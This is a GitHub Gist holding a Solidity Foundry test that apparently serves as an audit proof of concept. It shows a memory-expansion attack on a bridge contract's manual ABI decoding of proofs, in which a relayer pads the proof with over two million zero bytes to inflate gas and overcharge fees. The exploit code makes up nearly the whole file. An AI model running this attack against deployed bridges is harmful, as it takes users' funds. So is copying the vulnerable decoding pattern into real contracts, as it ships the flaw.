-
-
Save 0xmp/4d7f142df3259bd08cbf0545f4846e89 to your computer and use it in GitHub Desktop.
Memory expansion attack due to manual abi decoding
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.24; | |
import "forge-std/src/Test.sol"; | |
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; | |
import "../../contracts/bridge/Bridge.sol"; | |
import "../../contracts/signal/SignalService.sol"; | |
import "../../contracts/bridge/QuotaManager.sol"; | |
// `forge test --mt test_MPBridgeWasteGas -vvvv --fork-url 127.0.0.1:8545 --isolate --no-gas-limit > BridgeGasTest.txt` | |
// From the gas costs in the traces and the logs, assuming a 10 gwei gas cost we calculate that the message | |
// processor makes a profit of >2e16, compared with 8.8e15 without the memory expansion attack. | |
contract DummyTarget { | |
function onMessageInvocation(bytes calldata _data) external payable { | |
uint256 gasBefore = gasleft(); | |
uint256 toConsume = abi.decode(_data, (uint256)); | |
while (gasBefore - gasleft() < toConsume - 200) {} // Waste up to `toConsume - 200` gas | |
} | |
receive() external payable {} | |
} | |
contract DummyVerifier { | |
function proveSignalReceived( // this is SignalService for simplicity | |
uint64 _chainId, | |
address _app, | |
bytes32 _signal, | |
bytes calldata _proof | |
) | |
external | |
virtual | |
returns (uint256 numCacheOps_) | |
{ | |
ISignalService.HopProof[] memory hopProofs = abi.decode(_proof, (ISignalService.HopProof[])); | |
return 0; | |
} | |
} | |
contract ExpandMemoryTestBridge is Test { | |
using LibMath for uint256; | |
Bridge public bridge; | |
QuotaManager public quotaManager; | |
DummyTarget public dummyTarget; | |
DummyVerifier public dummyVerifier; | |
function setUp() public { | |
bridge = new Bridge(); | |
ERC1967Proxy proxy = new ERC1967Proxy(address(bridge), abi.encodeCall(Bridge.init, (address(this), address(this)))); | |
bridge = Bridge(payable(address(proxy))); | |
quotaManager = new QuotaManager(); | |
proxy = new ERC1967Proxy(address(quotaManager), abi.encodeCall(QuotaManager.init, (address(this), address(this), 24 * 3600))); | |
quotaManager = QuotaManager(address(proxy)); | |
quotaManager.updateQuota(address(0), 1000 ether); | |
dummyTarget = new DummyTarget(); | |
dummyVerifier = new DummyVerifier(); | |
vm.label(address(bridge), "Bridge"); | |
vm.label(address(quotaManager), "QuotaManager"); | |
vm.label(address(dummyTarget), "DummyTarget"); | |
vm.label(address(dummyVerifier), "DummyVerifier"); | |
vm.deal(address(bridge), 100 ether); | |
vm.deal(address(this), 1 ether); | |
} | |
function test_MPBridgeWasteGas() public { | |
uint24 gasInnerCall = 3e6; // Ask for 3M gas in external call to `onMessageInvocation`, thinking that user would be refunded unused gas. | |
bytes memory data = abi.encodeCall(DummyTarget.onMessageInvocation, (abi.encode(100_000, ""))); // `onMessageInvocation` consumes only 100_000 gas | |
IBridge.Message memory message = IBridge.Message({ | |
id: 0, | |
fee: uint64(gasInnerCall) * 100e9 wei, // Send a generous fee of 100 gwei per gas, actual costs to process the message are 10 gwei. | |
gasLimit: uint32(gasInnerCall + 800_000 + (data.length + 256) / 16), | |
from: address(32), | |
srcChainId: 2, | |
srcOwner: address(48), | |
destChainId: 1, | |
destOwner: address(dummyTarget), // Not address(this) otherwise msg.gasLimit == gasleft() | |
to: address(dummyTarget), | |
value: 1 wei, | |
data: data | |
}); | |
ISignalService.HopProof[] memory proof = new ISignalService.HopProof[](0); // Write up a proof, empty in this test. | |
bytes memory _proof = abi.encode(proof); | |
bytes memory _toAdd = hex"000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; | |
uint256 previousLength = proof.length; | |
while (_toAdd.length < 2_000_000) { // Add >=2e6 of 0 bytes to the proof to increase the gas cost through memory expansion. | |
_toAdd = bytes.concat(_toAdd, _toAdd); | |
} | |
uint256 balanceBefore = address(this).balance; | |
bridge.processMessage(message, bytes.concat(_proof, _toAdd)); | |
uint256 revenue = address(this).balance - balanceBefore; | |
console2.log("Sending %s extra bytes - Revenue: %e", _toAdd.length, revenue); | |
} | |
function getAddress(uint64 _chainId, bytes32 _name) external view returns (address) { // this is AddressManager for simplicity | |
if (_name == bytes32("signal_service") && _chainId == block.chainid) return address(dummyVerifier); | |
if (_name == bytes32("signal_service")) return address(17); | |
else if (_name == bytes32("bridge") && _chainId == block.chainid) return address(bridge); | |
else if (_name == bytes32("bridge")) return address(34); | |
else if (_name == bytes32("quota_manager") && _chainId == block.chainid) return address(quotaManager); | |
else if (_name == bytes32("erc20_vault") && _chainId == block.chainid) return address(51); | |
else console2.log("Unknown resolved address: %s", string(abi.encodePacked(_name))); | |
revert("Get address failed."); | |
} | |
receive() external payable {} // To receive the fee for processing the message | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment